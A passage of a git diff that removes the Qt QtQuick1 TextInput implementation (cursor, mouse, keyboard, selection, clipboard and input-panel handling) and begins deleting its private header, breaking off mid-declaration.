if(!d->cursorComponent->isReady()) - return; - - if(d->cursorItem) - delete d->cursorItem; - d->cursorItem = qobject_cast(d->cursorComponent->create()); - if(!d->cursorItem){ - qmlInfo(this, d->cursorComponent->errors()) << tr("Could not instantiate cursor delegate"); - return; - } - - QDeclarative_setParent_noEvent(d->cursorItem, this); - d->cursorItem->setParentItem(this); - d->cursorItem->setX(d->control->cursorToX()); - d->cursorItem->setHeight(d->control->height()-1); // -1 to counter QWidgetLineControl's +1 which is not consistent with Text. -} - -/*! - \qmlmethod rect QtQuick1::TextInput::positionToRectangle(int pos) - - This function takes a character position and returns the rectangle that the - cursor would occupy, if it was placed at that character position. - - This is similar to setting the cursorPosition, and then querying the cursor - rectangle, but the cursorPosition is not changed. -*/ -QRectF QDeclarative1TextInput::positionToRectangle(int pos) const -{ - Q_D(const QDeclarative1TextInput); - if (pos > d->control->cursorPosition()) - pos += d->control->preeditAreaText().length(); - return QRectF(d->control->cursorToX(pos)-d->hscroll, - 0.0, - d->control->cursorWidth(), - cursorRectangle().height()); -} - -int QDeclarative1TextInput::positionAt(int x) const -{ - return positionAt(x, CursorBetweenCharacters); -} - -/*! - \qmlmethod int QtQuick1::TextInput::positionAt(int x, CursorPosition position = CursorBetweenCharacters) - \since Quick 1.1 - - This function returns the character position at - x pixels from the left of the textInput. Position 0 is before the - first character, position 1 is after the first character but before the second, - and so on until position text.length, which is after all characters. - - This means that for all x values before the first character this function returns 0, - and for all x values after the last character this function returns text.length. - - The cursor position type specifies how the cursor position should be resolved. - - \list - \o TextInput.CursorBetweenCharacters - Returns the position between characters that is nearest x. - \o TextInput.CursorOnCharacter - Returns the position before the character that is nearest x. - \endlist -*/ -int QDeclarative1TextInput::positionAt(int x, CursorPosition position) const -{ - Q_D(const QDeclarative1TextInput); - int pos = d->control->xToPos(x + d->hscroll, QTextLine::CursorPosition(position)); - const int cursor = d->control->cursor(); - if (pos > cursor) { - const int preeditLength = d->control->preeditAreaText().length(); - pos = pos > cursor + preeditLength - ? pos - preeditLength - : cursor; - } - return pos; -} - -void QDeclarative1TextInputPrivate::focusChanged(bool hasFocus) -{ - Q_Q(QDeclarative1TextInput); - focused = hasFocus; - q->setCursorVisible(hasFocus && scene && scene->hasFocus()); - if(!hasFocus && control->passwordEchoEditing()) - control->updatePasswordEchoEditing(false);//QWidgetLineControl sets it on key events, but doesn't deal with focus events - if (!hasFocus) { - control->commitPreedit(); - control->deselect(); - } - QDeclarativeItemPrivate::focusChanged(hasFocus); -} - -void QDeclarative1TextInput::keyPressEvent(QKeyEvent* ev) -{ - Q_D(QDeclarative1TextInput); - keyPressPreHandler(ev); - if (ev->isAccepted()) - return; - - // Don't allow MacOSX up/down support, and we don't allow a completer. - bool ignore = (ev->key() == Qt::Key_Up || ev->key() == Qt::Key_Down) && ev->modifiers() == Qt::NoModifier; - if (!ignore && (d->lastSelectionStart == d->lastSelectionEnd) && (ev->key() == Qt::Key_Right || ev->key() == Qt::Key_Left)) { - // Ignore when moving off the end unless there is a selection, - // because then moving will do something (deselect). - int cursorPosition = d->control->cursor(); - if (cursorPosition == 0) - ignore = ev->key() == (d->control->layoutDirection() == Qt::LeftToRight ? Qt::Key_Left : Qt::Key_Right); - if (cursorPosition == d->control->text().length()) - ignore = ev->key() == (d->control->layoutDirection() == Qt::LeftToRight ? Qt::Key_Right : Qt::Key_Left); - } - if (ignore) { - ev->ignore(); - } else { - d->control->processKeyEvent(ev); - } - if (!ev->isAccepted()) - QDeclarative1PaintedItem::keyPressEvent(ev); -} - -void QDeclarative1TextInput::inputMethodEvent(QInputMethodEvent *ev) -{ - Q_D(QDeclarative1TextInput); - ev->ignore(); - const bool wasComposing = d->control->preeditAreaText().length() > 0; - inputMethodPreHandler(ev); - if (!ev->isAccepted()) { - if (d->control->isReadOnly()) { - ev->ignore(); - } else { - d->control->processInputMethodEvent(ev); - } - } - if (!ev->isAccepted()) - QDeclarative1PaintedItem::inputMethodEvent(ev); - - if (wasComposing != (d->control->preeditAreaText().length() > 0)) - emit inputMethodComposingChanged(); -} - -/*! -\overload -Handles the given mouse \a event. -*/ -void QDeclarative1TextInput::mouseDoubleClickEvent(QGraphicsSceneMouseEvent *event) -{ - Q_D(QDeclarative1TextInput); - if (d->selectByMouse && event->button() == Qt::LeftButton) { - int cursor = d->xToPos(event->pos().x()); - d->control->selectWordAtPos(cursor); - event->setAccepted(true); - } else { - if (d->sendMouseEventToInputContext(event, QEvent::MouseButtonDblClick)) - return; - QDeclarative1PaintedItem::mouseDoubleClickEvent(event); - } -} - -void QDeclarative1TextInput::mousePressEvent(QGraphicsSceneMouseEvent *event) -{ - Q_D(QDeclarative1TextInput); - - d->pressPos = event->pos(); - - if(d->focusOnPress){ - bool hadActiveFocus = hasActiveFocus(); - forceActiveFocus(); - if (d->showInputPanelOnFocus) { - if (hasActiveFocus() && hadActiveFocus && !isReadOnly()) { - // re-open input panel on press if already focused - openSoftwareInputPanel(); - } - } else { // show input panel on click - if (hasActiveFocus() && !hadActiveFocus) { - d->clickCausedFocus = true; - } - } - } - if (d->selectByMouse) { - setKeepMouseGrab(false); - d->selectPressed = true; - } - if (d->sendMouseEventToInputContext(event, QEvent::MouseButtonPress)) - return; - - bool mark = (event->modifiers() & Qt::ShiftModifier) && d->selectByMouse; - int cursor = d->xToPos(event->pos().x()); - d->control->moveCursor(cursor, mark); - event->setAccepted(true); -} - -void QDeclarative1TextInput::mouseMoveEvent(QGraphicsSceneMouseEvent *event) -{ - Q_D(QDeclarative1TextInput); - - if (d->selectPressed) { - if (qAbs(int(event->pos().x() - d->pressPos.x())) > QApplication::startDragDistance()) - setKeepMouseGrab(true); - - if (d->control->composeMode()) { - // start selection - int startPos = d->xToPos(d->pressPos.x()); - int currentPos = d->xToPos(event->pos().x()); - if (startPos != currentPos) - d->control->setSelection(startPos, currentPos - startPos); - } else { - moveCursorSelection(d->xToPos(event->pos().x()), d->mouseSelectionMode); - } - event->setAccepted(true); - } else { - QDeclarative1PaintedItem::mouseMoveEvent(event); - } -} - -/*! -\overload -Handles the given mouse \a event. -*/ -void QDeclarative1TextInput::mouseReleaseEvent(QGraphicsSceneMouseEvent *event) -{ - Q_D(QDeclarative1TextInput); - if (d->sendMouseEventToInputContext(event, QEvent::MouseButtonRelease)) - return; - if (d->selectPressed) { - d->selectPressed = false; - setKeepMouseGrab(false); - } - if (!d->showInputPanelOnFocus) { // input panel on click - if (d->focusOnPress && !isReadOnly() && boundingRect().contains(event->pos())) { - if (QGraphicsView * view = qobject_cast(qApp->focusWidget())) { - if (view->scene() && view->scene() == scene()) { - qt_widget_private(view)->handleSoftwareInputPanel(event->button(), d->clickCausedFocus); - } - } - } - } - d->clickCausedFocus = false; -#ifndef QT_NO_CLIPBOARD - if (QGuiApplication::clipboard()->supportsSelection()) { - if (event->button() == Qt::LeftButton) { - d->control->copy(QClipboard::Selection); - } else if (!isReadOnly() && event->button() == Qt::MidButton) { - d->control->deselect(); - d->control->insert(QGuiApplication::clipboard()->text(QClipboard::Selection)); - } - } -#endif - if (!event->isAccepted()) - QDeclarative1PaintedItem::mouseReleaseEvent(event); -} - -bool QDeclarative1TextInputPrivate::sendMouseEventToInputContext( - QGraphicsSceneMouseEvent *event, QEvent::Type eventType) -{ -#if !defined QT_NO_IM - if (event->widget() && control->composeMode()) { - int tmp_cursor = xToPos(event->pos().x()); - int mousePos = tmp_cursor - control->cursor(); - if (mousePos >= 0 && mousePos <= control->preeditAreaText().length()) { - if (eventType == QEvent::MouseButtonRelease) { - qApp->inputPanel()->invokeAction(QInputPanel::Click, mousePos); - } - return true; - } - } -#else - Q_UNUSED(event); - Q_UNUSED(eventType) -#endif - - return false; -} - -bool QDeclarative1TextInput::sceneEvent(QEvent *event) -{ - Q_D(QDeclarative1TextInput); - bool rv = QDeclarativeItem::sceneEvent(event); - if (event->type() == QEvent::UngrabMouse) { - d->selectPressed = false; - setKeepMouseGrab(false); - } - return rv; -} - -bool QDeclarative1TextInput::event(QEvent* ev) -{ -#ifndef QT_NO_SHORTCUT - Q_D(QDeclarative1TextInput); - - if (ev->type() == QEvent::ShortcutOverride) { - d->control->processShortcutOverrideEvent(static_cast(ev)); - return ev->isAccepted(); - } -#endif - return QDeclarative1PaintedItem::event(ev); -} - -void QDeclarative1TextInput::geometryChanged(const QRectF &newGeometry, - const QRectF &oldGeometry) -{ - if (newGeometry.width() != oldGeometry.width()) { - updateSize(); - updateCursorRectangle(); - } - QDeclarative1PaintedItem::geometryChanged(newGeometry, oldGeometry); -} - -int QDeclarative1TextInputPrivate::calculateTextWidth() -{ - return qRound(control->naturalTextWidth()); -} - -void QDeclarative1TextInputPrivate::updateHorizontalScroll() -{ - Q_Q(QDeclarative1TextInput); - const int preeditLength = control->preeditAreaText().length(); - int cix = qRound(control->cursorToX(control->cursor() + preeditLength)); - QRect br(q->boundingRect().toRect()); - int widthUsed = calculateTextWidth(); - - QDeclarative1TextInput::HAlignment effectiveHAlign = q->effectiveHAlign(); - if (autoScroll) { - if (widthUsed <= br.width()) { - // text fits in br; use hscroll for alignment - switch (effectiveHAlign & ~(Qt::AlignAbsolute|Qt::AlignVertical_Mask)) { - case Qt::AlignRight: - hscroll = widthUsed - br.width() - 1; - break; - case Qt::AlignHCenter: - hscroll = (widthUsed - br.width()) / 2; - break; - default: - // Left - hscroll = 0; - break; - } - } else if (cix - hscroll >= br.width()) { - // text doesn't fit, cursor is to the right of br (scroll right) - hscroll = cix - br.width() + 1; - } else if (cix - hscroll < 0 && hscroll < widthUsed) { - // text doesn't fit, cursor is to the left of br (scroll left) - hscroll = cix; - } else if (widthUsed - hscroll < br.width()) { - // text doesn't fit, text document is to the left of br; align - // right - hscroll = widthUsed - br.width() + 1; - } - if (preeditLength > 0) { - // check to ensure long pre-edit text doesn't push the cursor - // off to the left - cix = qRound(control->cursorToX( - control->cursor() + qMax(0, control->preeditCursor() - 1))); - if (cix < hscroll) - hscroll = cix; - } - } else { - switch (effectiveHAlign) { - case QDeclarative1TextInput::AlignRight: - hscroll = q->width() - widthUsed; - break; - case QDeclarative1TextInput::AlignHCenter: - hscroll = (q->width() - widthUsed) / 2; - break; - default: - // Left - hscroll = 0; - break; - } - } -} - -void QDeclarative1TextInput::drawContents(QPainter *p, const QRect &r) -{ - Q_D(QDeclarative1TextInput); - p->setRenderHint(QPainter::TextAntialiasing, true); - p->save(); - p->setPen(QPen(d->color)); - int flags = QWidgetLineControl::DrawText; - if(!isReadOnly() && d->cursorVisible && !d->cursorItem) - flags |= QWidgetLineControl::DrawCursor; - if (d->control->hasSelectedText()) - flags |= QWidgetLineControl::DrawSelections; - QPoint offset = QPoint(0,0); - QFontMetrics fm = QFontMetrics(d->font); - QRect br(boundingRect().toRect()); - if (d->autoScroll) { - // the y offset is there to keep the baseline constant in case we have script changes in the text. - offset = br.topLeft() - QPoint(d->hscroll, d->control->ascent() - fm.ascent()); - } else { - offset = QPoint(d->hscroll, 0); - } - d->control->draw(p, offset, r, flags); - p->restore(); -} - -/*! -\overload -Returns the value of the given \a property. -*/ -QVariant QDeclarative1TextInput::inputMethodQuery(Qt::InputMethodQuery property) const -{ - Q_D(const QDeclarative1TextInput); - switch(property) { - case Qt::ImMicroFocus: - return cursorRectangle(); - case Qt::ImFont: - return font(); - case Qt::ImCursorPosition: - return QVariant(d->control->cursor()); - case Qt::ImSurroundingText: - if (d->control->echoMode() == PasswordEchoOnEdit - && !d->control->passwordEchoEditing()) - return QVariant(displayText()); - else - return QVariant(d->control->realText()); - case Qt::ImCurrentSelection: - return QVariant(selectedText()); - case Qt::ImMaximumTextLength: - return QVariant(maxLength()); - case Qt::ImAnchorPosition: - if (d->control->selectionStart() == d->control->selectionEnd()) - return QVariant(d->control->cursor()); - else if (d->control->selectionStart() == d->control->cursor()) - return QVariant(d->control->selectionEnd()); - else - return QVariant(d->control->selectionStart()); - default: - return QVariant(); - } -} - -/*! - \qmlmethod void QtQuick1::TextInput::deselect() - \since Quick 1.1 - - Removes active text selection. -*/ -void QDeclarative1TextInput::deselect() -{ - Q_D(QDeclarative1TextInput); - d->control->deselect(); -} - -/*! - \qmlmethod void QtQuick1::TextInput::selectAll() - - Causes all text to be selected. -*/ -void QDeclarative1TextInput::selectAll() -{ - Q_D(QDeclarative1TextInput); - d->control->setSelection(0, d->control->text().length()); -} - -/*! - \qmlmethod void QtQuick1::TextInput::isRightToLeft(int start, int end) - - Returns true if the natural reading direction of the editor text - found between positions \a start and \a end is right to left. -*/ -bool QDeclarative1TextInput::isRightToLeft(int start, int end) -{ - Q_D(QDeclarative1TextInput); - if (start > end) { - qmlInfo(this) << "isRightToLeft(start, end) called with the end property being smaller than the start."; - return false; - } else { - return d->control->text().mid(start, end - start).isRightToLeft(); - } -} - -#ifndef QT_NO_CLIPBOARD -/*! - \qmlmethod QtQuick1::TextInput::cut() - - Moves the currently selected text to the system clipboard. -*/ -void QDeclarative1TextInput::cut() -{ - Q_D(QDeclarative1TextInput); - d->control->copy(); - d->control->del(); -} - -/*! - \qmlmethod QtQuick1::TextInput::copy() - - Copies the currently selected text to the system clipboard. -*/ -void QDeclarative1TextInput::copy() -{ - Q_D(QDeclarative1TextInput); - d->control->copy(); -} - -/*! - \qmlmethod QtQuick1::TextInput::paste() - - Replaces the currently selected text by the contents of the system clipboard. -*/ -void QDeclarative1TextInput::paste() -{ - Q_D(QDeclarative1TextInput); - if(!d->control->isReadOnly()) - d->control->paste(); -} -#endif // QT_NO_CLIPBOARD - -/*! - \qmlmethod void QtQuick1::TextInput::selectWord() - - Causes the word closest to the current cursor position to be selected. -*/ -void QDeclarative1TextInput::selectWord() -{ - Q_D(QDeclarative1TextInput); - d->control->selectWordAtPos(d->control->cursor()); -} - -/*! - \qmlproperty bool QtQuick1::TextInput::smooth - - This property holds whether the text is smoothly scaled or transformed. - - Smooth filtering gives better visual quality, but is slower. If - the item is displayed at its natural size, this property has no visual or - performance effect. - - \note Generally scaling artifacts are only visible if the item is stationary on - the screen. A common pattern when animating an item is to disable smooth - filtering at the beginning of the animation and reenable it at the conclusion. -*/ - -/*! - \qmlproperty string QtQuick1::TextInput::passwordCharacter - - This is the character displayed when echoMode is set to Password or - PasswordEchoOnEdit. By default it is an asterisk. - - If this property is set to a string with more than one character, - the first character is used. If the string is empty, the value - is ignored and the property is not set. -*/ -QString QDeclarative1TextInput::passwordCharacter() const -{ - Q_D(const QDeclarative1TextInput); - return QString(d->control->passwordCharacter()); -} - -void QDeclarative1TextInput::setPasswordCharacter(const QString &str) -{ - Q_D(QDeclarative1TextInput); - if(str.length() < 1) - return; - d->control->setPasswordCharacter(str.constData()[0]); - EchoMode echoMode_ = echoMode(); - if (echoMode_ == Password || echoMode_ == PasswordEchoOnEdit) { - updateSize(); - } - emit passwordCharacterChanged(); -} - -/*! - \qmlproperty string QtQuick1::TextInput::displayText - - This is the text displayed in the TextInput. - - If \l echoMode is set to TextInput::Normal, this holds the - same value as the TextInput::text property. Otherwise, - this property holds the text visible to the user, while - the \l text property holds the actual entered text. -*/ -QString QDeclarative1TextInput::displayText() const -{ - Q_D(const QDeclarative1TextInput); - return d->control->displayText(); -} - -/*! - \qmlproperty bool QtQuick1::TextInput::selectByMouse - - Defaults to false. - - If true, the user can use the mouse to select text in some - platform-specific way. Note that for some platforms this may - not be an appropriate interaction (eg. may conflict with how - the text needs to behave inside a Flickable. -*/ -bool QDeclarative1TextInput::selectByMouse() const -{ - Q_D(const QDeclarative1TextInput); - return d->selectByMouse; -} - -void QDeclarative1TextInput::setSelectByMouse(bool on) -{ - Q_D(QDeclarative1TextInput); - if (d->selectByMouse != on) { - d->selectByMouse = on; - emit selectByMouseChanged(on); - } -} - -/*! - \qmlproperty enum QtQuick1::TextInput::mouseSelectionMode - \since Quick 1.1 - - Specifies how text should be selected using a mouse. - - \list - \o TextInput.SelectCharacters - The selection is updated with individual characters. (Default) - \o TextInput.SelectWords - The selection is updated with whole words. - \endlist - - This property only applies when \l selectByMouse is true. -*/ - -QDeclarative1TextInput::SelectionMode QDeclarative1TextInput::mouseSelectionMode() const -{ - Q_D(const QDeclarative1TextInput); - return d->mouseSelectionMode; -} - -void QDeclarative1TextInput::setMouseSelectionMode(SelectionMode mode) -{ - Q_D(QDeclarative1TextInput); - if (d->mouseSelectionMode != mode) { - d->mouseSelectionMode = mode; - emit mouseSelectionModeChanged(mode); - } -} - -/*! - \qmlproperty bool QtQuick1::TextInput::canPaste - \since QtQuick 1.1 - - Returns true if the TextInput is writable and the content of the clipboard is - suitable for pasting into the TextEdit. -*/ -bool QDeclarative1TextInput::canPaste() const -{ - Q_D(const QDeclarative1TextInput); - return d->canPaste; -} - -void QDeclarative1TextInput::moveCursorSelection(int position) -{ - Q_D(QDeclarative1TextInput); - d->control->moveCursor(position, true); -} - -/*! - \qmlmethod void QtQuick1::TextInput::moveCursorSelection(int position, SelectionMode mode = TextInput.SelectCharacters) - \since Quick 1.1 - - Moves the cursor to \a position and updates the selection according to the optional \a mode - parameter. (To only move the cursor, set the \l cursorPosition property.) - - When this method is called it additionally sets either the - selectionStart or the selectionEnd (whichever was at the previous cursor position) - to the specified position. This allows you to easily extend and contract the selected - text range. - - The selection mode specifies whether the selection is updated on a per character or a per word - basis. If not specified the selection mode will default to TextInput.SelectCharacters. - - \list - \o TextEdit.SelectCharacters - Sets either the selectionStart or selectionEnd (whichever was at - the previous cursor position) to the specified position. - \o TextEdit.SelectWords - Sets the selectionStart and selectionEnd to include all - words between the specified postion and the previous cursor position. Words partially in the - range are included. - \endlist - - For example, take this sequence of calls: - - \code - cursorPosition = 5 - moveCursorSelection(9, TextInput.SelectCharacters) - moveCursorSelection(7, TextInput.SelectCharacters) - \endcode - - This moves the cursor to position 5, extend the selection end from 5 to 9 - and then retract the selection end from 9 to 7, leaving the text from position 5 to 7 - selected (the 6th and 7th characters). - - The same sequence with TextInput.SelectWords will extend the selection start to a word boundary - before or on position 5 and extend the selection end to a word boundary on or past position 9. -*/ -void QDeclarative1TextInput::moveCursorSelection(int pos, SelectionMode mode) -{ - Q_D(QDeclarative1TextInput); - - if (mode == SelectCharacters) { - d->control->moveCursor(pos, true); - } else if (pos != d->control->cursor()){ - const int cursor = d->control->cursor(); - int anchor; - if (!d->control->hasSelectedText()) - anchor = d->control->cursor(); - else if (d->control->selectionStart() == d->control->cursor()) - anchor = d->control->selectionEnd(); - else - anchor = d->control->selectionStart(); - - if (anchor < pos || (anchor == pos && cursor < pos)) { - const QString text = d->control->text(); - QTextBoundaryFinder finder(QTextBoundaryFinder::Word, text); - finder.setPosition(anchor); - - const QTextBoundaryFinder::BoundaryReasons reasons = finder.boundaryReasons(); - if (anchor < text.length() && (!(reasons & QTextBoundaryFinder::StartWord) - || ((reasons & QTextBoundaryFinder::EndWord) && anchor > cursor))) { - finder.toPreviousBoundary(); - } - anchor = finder.position() != -1 ? finder.position() : 0; - - finder.setPosition(pos); - if (pos > 0 && !finder.boundaryReasons()) - finder.toNextBoundary(); - const int cursor = finder.position() != -1 ? finder.position() : text.length(); - - d->control->setSelection(anchor, cursor - anchor); - } else if (anchor > pos || (anchor == pos && cursor > pos)) { - const QString text = d->control->text(); - QTextBoundaryFinder finder(QTextBoundaryFinder::Word, text); - finder.setPosition(anchor); - - const QTextBoundaryFinder::BoundaryReasons reasons = finder.boundaryReasons(); - if (anchor > 0 && (!(reasons & QTextBoundaryFinder::EndWord) - || ((reasons & QTextBoundaryFinder::StartWord) && anchor < cursor))) { - finder.toNextBoundary(); - } - anchor = finder.position() != -1 ? finder.position() : text.length(); - - finder.setPosition(pos); - if (pos < text.length() && !finder.boundaryReasons()) - finder.toPreviousBoundary(); - const int cursor = finder.position() != -1 ? finder.position() : 0; - - d->control->setSelection(anchor, cursor - anchor); - } - } -} - -/*! - \qmlmethod void QtQuick1::TextInput::openSoftwareInputPanel() - - Opens software input panels like virtual keyboards for typing, useful for - customizing when you want the input keyboard to be shown and hidden in - your application. - - By default the opening of input panels follows the platform style. - The panels are automatically opened when TextInput element gains active focus. Input panels are - always closed if no editor has active focus. - - . You can disable the automatic behavior by setting the property \c activeFocusOnPress to false - and use functions openSoftwareInputPanel() and closeSoftwareInputPanel() to implement - the behavior you want. - - Only relevant on platforms, which provide virtual keyboards. - - \qml - import QtQuick 1.0 - TextInput { - id: textInput - text: "Hello world!" - activeFocusOnPress: false - MouseArea { - anchors.fill: parent - onClicked: { - if (!textInput.activeFocus) { - textInput.forceActiveFocus() - textInput.openSoftwareInputPanel(); - } else { - textInput.focus = false; - } - } - onPressAndHold: textInput.closeSoftwareInputPanel(); - } - } - \endqml -*/ -void QDeclarative1TextInput::openSoftwareInputPanel() -{ - if (qApp) { - if (QGraphicsView * view = qobject_cast(qApp->focusWidget())) { - if (view->scene() && view->scene() == scene()) { - qApp->inputPanel()->show(); - } - } - } -} - -/*! - \qmlmethod void QtQuick1::TextInput::closeSoftwareInputPanel() - - Closes a software input panel like a virtual keyboard shown on the screen, useful - for customizing when you want the input keyboard to be shown and hidden in - your application. - - By default the opening of input panels follows the platform style. - The panels are automatically opened when TextInput element gains active focus. Input panels are - always closed if no editor has active focus. - - . You can disable the automatic behavior by setting the property \c activeFocusOnPress to false - and use functions openSoftwareInputPanel() and closeSoftwareInputPanel() to implement - the behavior you want. - - Only relevant on platforms, which provide virtual keyboards. - - \qml - import QtQuick 1.0 - TextInput { - id: textInput - text: "Hello world!" - activeFocusOnPress: false - MouseArea { - anchors.fill: parent - onClicked: { - if (!textInput.activeFocus) { - textInput.forceActiveFocus(); - textInput.openSoftwareInputPanel(); - } else { - textInput.focus = false; - } - } - onPressAndHold: textInput.closeSoftwareInputPanel(); - } - } - \endqml -*/ -void QDeclarative1TextInput::closeSoftwareInputPanel() -{ - if (qApp) { - if (QGraphicsView * view = qobject_cast(qApp->focusWidget())) { - if (view->scene() && view->scene() == scene()) { - qApp->inputPanel()->hide(); - } - } - } -} - -void QDeclarative1TextInput::focusInEvent(QFocusEvent *event) -{ - Q_D(const QDeclarative1TextInput); - if (d->showInputPanelOnFocus) { - if (d->focusOnPress && !isReadOnly()) { - openSoftwareInputPanel(); - } - } - QDeclarative1PaintedItem::focusInEvent(event); -} - -/*! - \qmlproperty bool QtQuick1::TextInput::inputMethodComposing - - \since QtQuick 1.1 - - This property holds whether the TextInput has partial text input from an - input method. - - While it is composing an input method may rely on mouse or key events from - the TextInput to edit or commit the partial text. This property can be - used to determine when to disable events handlers that may interfere with - the correct operation of an input method. -*/ -bool QDeclarative1TextInput::isInputMethodComposing() const -{ - Q_D(const QDeclarative1TextInput); - return d->control->preeditAreaText().length() > 0; -} - -void QDeclarative1TextInputPrivate::init() -{ - Q_Q(QDeclarative1TextInput); - control->setParent(q);//Now mandatory due to accessibility changes - control->setCursorWidth(1); - control->setPasswordCharacter(QLatin1Char('*')); - q->setSmooth(smooth); - q->setAcceptedMouseButtons(Qt::LeftButton); - q->setFlag(QGraphicsItem::ItemHasNoContents, false); - q->setFlag(QGraphicsItem::ItemAcceptsInputMethod); - q->connect(control, SIGNAL(cursorPositionChanged(int,int)), - q, SLOT(cursorPosChanged())); - q->connect(control, SIGNAL(selectionChanged()), - q, SLOT(selectionChanged())); - q->connect(control, SIGNAL(textChanged(QString)), - q, SLOT(q_textChanged())); - q->connect(control, SIGNAL(accepted()), - q, SIGNAL(accepted())); - q->connect(control, SIGNAL(updateNeeded(QRect)), - q, SLOT(updateRect(QRect))); -#ifndef QT_NO_CLIPBOARD - q->connect(q, SIGNAL(readOnlyChanged(bool)), - q, SLOT(q_canPasteChanged())); - q->connect(QApplication::clipboard(), SIGNAL(dataChanged()), - q, SLOT(q_canPasteChanged())); - canPaste = !control->isReadOnly() && QApplication::clipboard()->text().length() != 0; -#endif // QT_NO_CLIPBOARD - q->connect(control, SIGNAL(updateMicroFocus()), - q, SLOT(updateCursorRectangle())); - q->connect(control, SIGNAL(displayTextChanged(QString)), - q, SLOT(updateRect())); - q->updateSize(); - oldValidity = control->hasAcceptableInput(); - lastSelectionStart = 0; - lastSelectionEnd = 0; - QPalette p = control->palette(); - selectedTextColor = p.color(QPalette::HighlightedText); - selectionColor = p.color(QPalette::Highlight); - determineHorizontalAlignment(); -} - -void QDeclarative1TextInput::cursorPosChanged() -{ - Q_D(QDeclarative1TextInput); - updateCursorRectangle(); - emit cursorPositionChanged(); - d->control->resetCursorBlinkTimer(); - - if(!d->control->hasSelectedText()){ - if(d->lastSelectionStart != d->control->cursor()){ - d->lastSelectionStart = d->control->cursor(); - emit selectionStartChanged(); - } - if(d->lastSelectionEnd != d->control->cursor()){ - d->lastSelectionEnd = d->control->cursor(); - emit selectionEndChanged(); - } - } -} - -void QDeclarative1TextInput::updateCursorRectangle() -{ - Q_D(QDeclarative1TextInput); - d->determineHorizontalAlignment(); - d->updateHorizontalScroll(); - updateRect();//TODO: Only update rect between pos's - updateMicroFocus(); - emit cursorRectangleChanged(); - if (d->cursorItem) - d->cursorItem->setX(d->control->cursorToX() - d->hscroll); -} - -void QDeclarative1TextInput::selectionChanged() -{ - Q_D(QDeclarative1TextInput); - updateRect();//TODO: Only update rect in selection - emit selectedTextChanged(); - - if(d->lastSelectionStart != d->control->selectionStart()){ - d->lastSelectionStart = d->control->selectionStart(); - if(d->lastSelectionStart == -1) - d->lastSelectionStart = d->control->cursor(); - emit selectionStartChanged(); - } - if(d->lastSelectionEnd != d->control->selectionEnd()){ - d->lastSelectionEnd = d->control->selectionEnd(); - if(d->lastSelectionEnd == -1) - d->lastSelectionEnd = d->control->cursor(); - emit selectionEndChanged(); - } -} - -void QDeclarative1TextInput::q_textChanged() -{ - Q_D(QDeclarative1TextInput); - emit textChanged(); - emit displayTextChanged(); - updateSize(); - d->determineHorizontalAlignment(); - d->updateHorizontalScroll(); - updateMicroFocus(); - if(hasAcceptableInput() != d->oldValidity){ - d->oldValidity = hasAcceptableInput(); - emit acceptableInputChanged(); - } -} - -void QDeclarative1TextInput::updateRect(const QRect &r) -{ - Q_D(QDeclarative1TextInput); - if(r == QRect()) - clearCache(); - else - dirtyCache(QRect(r.x() - d->hscroll, r.y(), r.width(), r.height())); - update(); -} - -QRectF QDeclarative1TextInput::boundingRect() const -{ - Q_D(const QDeclarative1TextInput); - QRectF r = QDeclarative1PaintedItem::boundingRect(); - - int cursorWidth = d->cursorItem ? d->cursorItem->width() : d->control->cursorWidth(); - - // Could include font max left/right bearings to either side of rectangle. - - r.setRight(r.right() + cursorWidth); - return r; -} - -void QDeclarative1TextInput::updateSize(bool needsRedraw) -{ - Q_D(QDeclarative1TextInput); - int w = width(); - int h = height(); - setImplicitHeight(d->control->height()-1); // -1 to counter QWidgetLineControl's +1 which is not consistent with Text. - setImplicitWidth(d->calculateTextWidth()); - setContentsSize(QSize(width(), height()));//Repaints if changed - if(w==width() && h==height() && needsRedraw){ - clearCache(); - update(); - } -} - -void QDeclarative1TextInput::q_canPasteChanged() -{ - Q_D(QDeclarative1TextInput); - bool old = d->canPaste; -#ifndef QT_NO_CLIPBOARD - d->canPaste = !d->control->isReadOnly() && QApplication::clipboard()->text().length() != 0; -#endif - if(d->canPaste != old) - emit canPasteChanged(); -} - - - -QT_END_NAMESPACE - -#endif // QT_NO_LINEEDIT - diff --git a/src/qtquick1/graphicsitems/qdeclarativetextinput_p.h b/src/qtquick1/graphicsitems/qdeclarativetextinput_p.h deleted file mode 100644 index 44c9bbc3ea..0000000000 --- a/src/qtquick1/graphicsitems/qdeclarativetextinput_p.h +++ /dev/null @@ -1,305 +0,0 @@ -/**************************************************************************** -** -** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies). -** Contact: http://www.qt-project.org/ -** -** This file is part of the QtDeclarative module of the Qt Toolkit. -** -** $QT_BEGIN_LICENSE:LGPL$ -** GNU Lesser General Public License Usage -** This file may be used under the terms of the GNU Lesser General Public -** License version 2.1 as published by the Free Software Foundation and -** appearing in the file LICENSE.LGPL included in the packaging of this -** file. Please review the following information to ensure the GNU Lesser -** General Public License version 2.1 requirements will be met: -** http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html. -** -** In addition, as a special exception, Nokia gives you certain additional -** rights. These rights are described in the Nokia Qt LGPL Exception -** version 1.1, included in the file LGPL_EXCEPTION.txt in this package. -** -** GNU General Public License Usage -** Alternatively, this file may be used under the terms of the GNU General -** Public License version 3.0 as published by the Free Software Foundation -** and appearing in the file LICENSE.GPL included in the packaging of this -** file. Please review the following information to ensure the GNU General -** Public License version 3.0 requirements will be met: -** http://www.gnu.org/copyleft/gpl.html. -** -** Other Usage -** Alternatively, this file may be used in accordance with the terms and -** conditions contained in a signed written agreement between you and Nokia. -** -** -** -** -** -** -** $QT_END_LICENSE$ -** -****************************************************************************/ - -#ifndef QDECLARATIVETEXTINPUT_H -#define QDECLARATIVETEXTINPUT_H - -#include "private/qdeclarativetext_p.h" -#include "private/qdeclarativeimplicitsizeitem_p.h" - -#include -#include - -#ifndef QT_NO_LINEEDIT - -QT_BEGIN_HEADER - -QT_BEGIN_NAMESPACE - - -class QValidator; -class QDeclarative1TextInputPrivate; -class Q_AUTOTEST_EXPORT QDeclarative1TextInput : public QDeclarative1ImplicitSizePaintedItem -{ - Q_OBJECT - Q_ENUMS(HAlignment) - Q_ENUMS(EchoMode) - Q_ENUMS(SelectionMode) - - Q_PROPERTY(QString text READ text WRITE setText NOTIFY textChanged) - Q_PROPERTY(QColor color READ color WRITE setColor NOTIFY colorChanged) - Q_PROPERTY(QColor selectionColor READ selectionColor WRITE setSelectionColor NOTIFY selectionColorChanged) - Q_PROPERTY(QColor selectedTextColor READ selectedTextColor WRITE setSelectedTextColor NOTIFY selectedTextColorChanged) - Q_PROPERTY(QFont font READ font WRITE setFont NOTIFY fontChanged) - 